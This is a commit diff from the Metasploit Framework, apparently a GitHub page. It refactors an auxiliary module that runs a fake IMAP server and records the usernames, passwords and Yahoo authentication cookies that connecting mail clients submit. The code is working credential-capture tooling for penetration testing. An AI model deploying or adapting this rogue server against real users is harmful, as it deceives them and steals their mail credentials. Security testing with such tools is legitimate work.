Skip to content

Commit 08430ee

Browse files
author
Tod Beardsley
committed
Land rapid7#3616, cred gem for imap from @TomSellers
2 parents 170c8b6 + 74920d2 commit 08430ee

File tree

1 file changed

+43
-26
lines changed
  • modules/auxiliary/server/capture

1 file changed

+43
-26
lines changed

modules/auxiliary/server/capture/imap.rb

Lines changed: 43 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,11 @@
66

77
require 'msf/core'
88

9-
109
class Metasploit3 < Msf::Auxiliary
1110

1211
include Msf::Exploit::Remote::TcpServer
1312
include Msf::Auxiliary::Report
1413

15-
1614
def initialize
1715
super(
1816
'Name' => 'Authentication Capture: IMAP',
@@ -56,50 +54,38 @@ def on_client_connect(c)
5654

5755
def on_client_data(c)
5856
data = c.get_once
59-
return if not data
60-
num,cmd,arg = data.strip.split(/\s+/, 3)
57+
return unless data
58+
num, cmd, arg = data.strip.split(/\s+/, 3)
6159
arg ||= ""
6260

63-
if(cmd.upcase == "CAPABILITY")
61+
if cmd.upcase == 'CAPABILITY'
6462
c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
6563
"MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " +
6664
"QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " +
6765
"AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n"
6866
c.put "#{num} OK CAPABILITY completed.\r\n"
6967
end
7068

71-
if(cmd.upcase == "AUTHENTICATE" and arg.upcase == "XYMPKI")
69+
# Handle attempt to authenticate using Yahoo's magic cookie
70+
# Used by iPhones and Zimbra
71+
if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI'
7272
c.put "+ \r\n"
7373
cookie1 = c.get_once
7474
c.put "+ \r\n"
7575
cookie2 = c.get_once
76-
report_auth_info(
77-
:host => @state[c][:ip],
78-
:sname => 'imap-yahoo',
79-
:port => datastore['SRVPORT'],
80-
:source_type => "captured",
81-
:user => cookie1,
82-
:pass => cookie2
83-
)
76+
register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo')
8477
return
8578
end
8679

87-
if(cmd.upcase == "LOGIN")
80+
if cmd.upcase == 'LOGIN'
8881
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
8982

90-
report_auth_info(
91-
:host => @state[c][:ip],
92-
:port => datastore['SRVPORT'],
93-
:sname => 'imap',
94-
:user => @state[c][:user],
95-
:pass => @state[c][:pass],
96-
:active => true
97-
)
83+
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
9884
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
9985
return
10086
end
10187

102-
if(cmd.upcase == "LOGOUT")
88+
if cmd.upcase == 'LOGOUT'
10389
c.put("* BYE IMAP4rev1 Server logging out\r\n")
10490
c.put("#{num} OK LOGOUT completed\r\n")
10591
return
@@ -108,12 +94,43 @@ def on_client_data(c)
10894
@state[c][:pass] = data.strip
10995
c.put "#{num} NO LOGIN FAILURE\r\n"
11096
return
111-
11297
end
11398

11499
def on_client_close(c)
115100
@state.delete(c)
116101
end
117102

118-
103+
def register_creds(client_ip, user, pass, service_name)
104+
# Build service information
105+
service_data = {
106+
address: client_ip,
107+
port: datastore['SRVPORT'],
108+
service_name: service_name,
109+
protocol: 'tcp',
110+
workspace_id: myworkspace_id
111+
}
112+
113+
# Build credential information
114+
credential_data = {
115+
origin_type: :service,
116+
module_fullname: self.fullname,
117+
private_data: pass,
118+
private_type: :password,
119+
username: user,
120+
workspace_id: myworkspace_id
121+
}
122+
123+
credential_data.merge!(service_data)
124+
credential_core = create_credential(credential_data)
125+
126+
# Assemble the options hash for creating the Metasploit::Credential::Login object
127+
login_data = {
128+
core: credential_core,
129+
status: Metasploit::Model::Login::Status::UNTRIED,
130+
workspace_id: myworkspace_id
131+
}
132+
133+
login_data.merge!(service_data)
134+
create_credential_login(login_data)
135+
end
119136
end

0 commit comments

Comments
 (0)